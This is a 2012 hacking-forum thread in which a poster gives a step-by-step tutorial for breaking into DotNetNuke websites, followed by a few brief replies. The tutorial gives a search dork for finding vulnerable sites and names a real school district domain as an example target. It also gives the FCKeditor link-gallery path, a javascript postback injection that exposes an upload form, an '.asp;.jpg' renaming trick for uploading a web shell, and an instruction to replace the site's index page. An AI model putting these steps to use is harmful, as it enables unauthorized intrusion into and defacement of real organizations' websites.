[TUT] D0t Net Net Nuke|Shell Upload [Highly Detailed]

[TUT] D0t Net Net Nuke|Shell Upload [Highly Detailed] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT] D0t Net Net Nuke|Shell Upload [Highly Detailed] (/showthread.php?tid=2633745)

[TUT] D0t Net Net Nuke|Shell Upload [Highly Detailed] - xSystemNightmare - Jun 29, 2012

Sup Hackforums,
Today Im gonna show you how to perform a Dot Net Nuke Attack. This is a rare exploit,You can upload any file of your likeing using this exp!0it.

What Exactly Is DNN? DotNetNuke is an open sourced platform used for websites that are based on Microsoft.Net tech. The Dot Net Nuke is mostly in the CMS for the website(s).

Try to upload certain types of files here are a list of files Commonly used

Code 
asf, *.asx, *.avi, *.flv, *.m4v, *.mov, *.mp4, *.mpe, *.mpeg, *.mpg,

*.ram, *.rm, *.rmvb, *.wm, *.wmv, *.vob

*. swf, *.jpg, *.jpeg, *.jpe, *.gif, *.bmp, *.png,

*.doc, *.xls, *.ppt, *.pdf, *.txt, *.xml, *.xsl, *.css, *.zip, *.3gp,

Usually sites that have this expl0it are very hard to find it is a non-common exploit so here is a google dork most people often use now adays.

Code 
inurl:home/tabid/36/language/en-US/Default.aspx

Alright So after you have found a VULN site such as

Code 
http://www.central.k12.or.ushome/tabid/36/language/en-US/Default.aspx

Replace

Code 
home/tabid/36/language/en-US/Default.aspx

With the following...

Code 
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Then hit enter on your keybord. After you will see a display of

Code 
Link Type: 

URL ( A Link To An External Resource ) 

Page ( A Page On Your Site ) 

File ( A File On Your Site )

Proceed by clicking the following File ( A File On Your Site )
Once you see

Code 
File Location:

         File Name:

Inj3ct the following code in your URL box and click enter

Code 
javascript:__doPostBack('ctlURL$cmdUpload','')

After clicking enter you shall get the displayment option of uploading your own file please procceed to uploading a shell.

Now before you can fully upload the shell you have to do the following...

1. Rename the shell myshell.asp;.jpg

2. Go to your shell

Code 
http://Hackedsite.com/portals/0/yourshell.asp;.jpg

3. Now Upload your PHP Sh3LL using the following option "UPLOAD FILE TC"

4.Now your shell is all up in there!

Code 
http://Hackedsite.com/portals/0/yourshell.php

5.Now finnaly replace your index.html with the original site index.html.
Now your done great job friend. This is a rare exploit you dont commonly see it now adays but i just wanted to post this because this was one of my very first exploits ever performed :D

* - ImSecure - Jun 30, 2012

Allready posted on HF.NET 5+ times :) . But anyway "Thanks for posting this :)" .

FIRST POST IN THIS THREAD BTW :D

* - James Kirk - Jun 30, 2012

(Jun 30, 2012 08:45 AM)ImSecure Wrote: Allready posted on HF.NET 5+ times :) . But anyway "Thanks for posting this :)" .

FIRST POST IN THIS THREAD BTW :D

First post on this thread? You must be awesome. And nice exploit op, but I've seen this before.

* - xSystemNightmare - Jul 3, 2012

Thanks for the positive feedback Im just aiming at exploits that people are often forgetting about :D